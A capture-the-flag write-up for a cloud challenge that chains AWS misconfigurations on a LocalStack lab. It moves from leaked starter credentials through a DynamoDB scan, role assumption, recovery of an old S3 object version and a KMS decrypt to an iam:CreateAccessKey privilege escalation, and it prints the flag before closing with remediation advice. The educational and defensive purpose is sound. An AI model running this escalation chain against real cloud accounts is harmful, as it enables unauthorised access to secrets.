CyberApocalypse 2026 — Cloud — Bought Riot

Category: Cloud **Flag:** `HTB{eastreach_road_resupply_spine_f6611b84faf350130468bd45b2223f66}`

Challenge

> Miren Vale attends a Suncourt meeting where officers are deciding who will guard the east road. A false story is already spreading: one of Stormbound's captains supposedly sold the road schedule to Vaultrune. By the time Miren arrives, the rumor has reached the commanders as a formal accusation. Miren can't accuse Lady Seralyne in front of the room — she has to find *who started the rumor* and *who paid to spread it*.

Endpoints:

- `http://154.57.164.68:31137` — an in-world web "Courier's Packet" (the briefing).
- `154.57.164.68:31622` — the AWS API (a LocalStack instance).

The story maps directly onto an AWS access chain:

Story	Cloud reality
The registry of road assignments	DynamoDB table `supply-road-settlements`
The LIVE accusation row	the one row with `status = LIVE`
Who started the rumor	IAM user `road-messenger` (the "broker")
Who paid to spread it	Secrets Manager secret `supply-road/payout/...` (the flag)

Recon

The briefing page loads starting credentials from an unauthenticated JSON endpoint:

```
curl -s http://154.57.164.68:31137/player-creds.json
```

```
{
  "user": "eastreach-supply-auditor",
  "access_key_id": "AKIA…",
  "secret_access_key": "…",
  "region": "us-east-1",
  "endpoint": "http://127.0.0.1:4566"
}
```

The internal endpoint is `http://127.0.0.1:4566` (LocalStack), exposed to us at the instance's AWS API port `31622`.

```
export AWS_ENDPOINT_URL=http://154.57.164.68:31622
export AWS_DEFAULT_REGION=us-east-1
export AWS_ACCESS_KEY_ID=AKIA…            # from player-creds.json
export AWS_SECRET_ACCESS_KEY=…
unset AWS_SESSION_TOKEN

aws sts get-caller-identity
# arn:aws:iam::593847102664:user/eastreach-supply-auditor
```

`ListTables` / `ListBuckets` are denied — the auditor is tightly scoped. But the briefing tells us the table name: `supply-road-settlements`, and instructs us to *"Scan the table and isolate the LIVE row."*

Step 1 — Scan DynamoDB, isolate the LIVE row

```
aws dynamodb scan --table-name supply-road-settlements > scan.json
```

224 rows. All but one are decoys (`DRAFT`, `VOID`, `PENDING_AUDIT`, `CLOSED`, all noted *"Not routable for the live supply road."*). Exactly one row is `LIVE`:

```
{
  "settlement_id":  "ROAD-3D9C",
  "status":         "LIVE",
  "runner_external_id": "eastreach-supply-road-runner-3d9c",
  "broker_code":    "EASTREACH-RELAY",
```

```
  "scanner_role_arn":     "arn:aws:iam::593847102664:role/supply-road-scanner",
  "scanner_external_id":  "eastreach-road-scanner-3d9c",
  "vendor_ref":     "eastreach-continuity",
  "manifest_bucket": "supply-road-manifests"
}
```

This hands us a role to assume (`supply-road-scanner`) with its **external ID**, and a manifest bucket.

Step 2 — Assume the scanner role

The trust is external-ID gated (an empty or wrong external ID is denied — IAM enforcement is on):

```
aws sts assume-role \
  --role-arn arn:aws:iam::593847102664:role/supply-road-scanner \
  --role-session-name miren \
  --external-id eastreach-road-scanner-3d9c
```

The scanner role is scoped to: `s3:GetObject` on `supply-road-manifests/manifests/*` , `dynamodb:Scan` on the settlements table, and `kms:Decrypt` .

Step 3 — S3 object versioning + KMS decrypt

The manifest for our settlement is **redacted** in its current version:

```
aws s3 cp s3://supply-road-manifests/manifests/ROAD-3D9C.json -
# "status": "COMPLIANCE_HOLD",
# "broker_user": "REDACTED", "runner_role_arn": "REDACTED", "payout_secret_name": "REDACTED"
```

But the bucket is **versioned**, and an older version still exists:

```
aws s3api list-object-versions --bucket supply-road-manifests \
  --prefix manifests/ROAD-3D9C.json
# two versions — grab the older (IsLatest=false) one
aws s3api get-object --bucket supply-road-manifests \
  --key manifests/ROAD-3D9C.json \
  --version-id <OLD_VERSION_ID> old_manifest.json
```

The old version is a LocalStack KMS ciphertext blob (`kms:v3:<key-id>:…`). Feed it straight to KMS:

```
aws kms decrypt --ciphertext-blob fileb://old_manifest.json \
  --query Plaintext --output text | base64 -d | python3 -m json.tool
```

```
{
  "settlement_table": "supply-road-settlements",
  "broker_user": "road-messenger",
  "runner_role_arn": "arn:aws:iam::593847102664:role/supply-road-runner",
  "payout_secret_name": "supply-road/payout/eastreach-relay-3d9c",
  "broker_code_template": "{broker_code}",
  "schema_version": "2026-01",
  "owner": "eastreach-logistics"
}
```

Who started the rumor: IAM user `road-messenger` (the broker). **Who paid:** the secret `supply-road/payout/eastreach-relay-3d9c` . Reading the secret requires the `supply-road-runner` role.

Step 4 — IAM privesc: `iam:CreateAccessKey` on `road-messenger`

Neither the auditor nor the scanner can assume `supply-road-runner` , read the payout secret, or do the usual IAM privesc actions (`UpdateAssumeRolePolicy` , `PutUserPolicy` , `AttachUserPolicy` , …). But the **scanner role can mint access keys for the broker user**:

```
# using scanner credentials
aws iam create-access-key --user-name road-messenger
```

```
{ "AccessKey": { "UserName": "road-messenger",
    "AccessKeyId": "AKIA…", "SecretAccessKey": "…", "Status": "Active" } }
```

We now *are* `road-messenger` — the account that started the rumor.

Step 5 — Broker assumes the runner role

`road-messenger` can assume `supply-road-runner`, gated by the runner external ID we saw in the LIVE row (`eastreach-supply-road-runner-3d9c`):

```
# using road-messenger credentials
aws sts assume-role \
  --role-arn arn:aws:iam::593847102664:role/supply-road-runner \
  --role-session-name road-messenger \
  --external-id eastreach-supply-road-runner-3d9c
```

Step 6 — Read the payout secret (the flag)

```
# using runner credentials
aws secretsmanager get-secret-value \
  --secret-id supply-road/payout/eastreach-relay-3d9c \
  --query SecretString --output text
```

```
HTB{eastreach_road_resupply_spine_f6611b84faf350130468bd45b2223f66}
```

Full chain

```
eastreach-supply-auditor  (player, from /player-creds.json)
   │  dynamodb:Scan supply-road-settlements  → LIVE row ROAD-3D9C
   ▼  sts:AssumeRole (ExternalId eastreach-road-scanner-3d9c)
supply-road-scanner
   │  s3 GetObject manifest → older object VERSION → kms:Decrypt → broker_user / runner_role
   │  iam:CreateAccessKey road-messenger      ← the privesc
   ▼
road-messenger  (IAM user — "who started the rumor")
   ▼  sts:AssumeRole (ExternalId eastreach-supply-road-runner-3d9c)
supply-road-runner
   ▼  secretsmanager:GetSecretValue
supply-road/payout/eastreach-relay-3d9c   →   FLAG  ("who paid")
```

Vulnerabilities chained

1. **Unauthenticated credential disclosure** — starting IAM keys served at `/player-creds.json`.

2. **Sensitive data in a DynamoDB row** — the LIVE row leaks role ARNs and STS external IDs.
3. **S3 object versioning leaks redacted data** — the redaction only touched the *current* object version; the previous version was still readable.
4. **KMS decrypt granted to a low-priv role** — the scanner could decrypt the historical manifest blob.
5. **Over-permissive IAM (`iam:CreateAccessKey`)** — a locked-down role could mint credentials for another user, jumping the trust boundary.
6. **External-ID-only trust** — role trust relied on external IDs that were themselves stored in readable data.

Remediation

- Never serve long-lived credentials from an unauthenticated web path; use short-lived, per-player STS sessions.
- Don't store role ARNs / external IDs in queryable data rows.
- When redacting versioned S3 objects, delete or re-encrypt prior versions (or disable versioning for sensitive objects).
- Scope `kms:Decrypt` to only the keys/contexts a role legitimately needs.
- Never grant `iam:CreateAccessKey` (or other IAM write actions) on other principals to a data-plane role — it is a direct privilege-escalation primitive.
- Treat external IDs as anti-confused-deputy hints, **not** secrets; pair role trust with tight principal restrictions.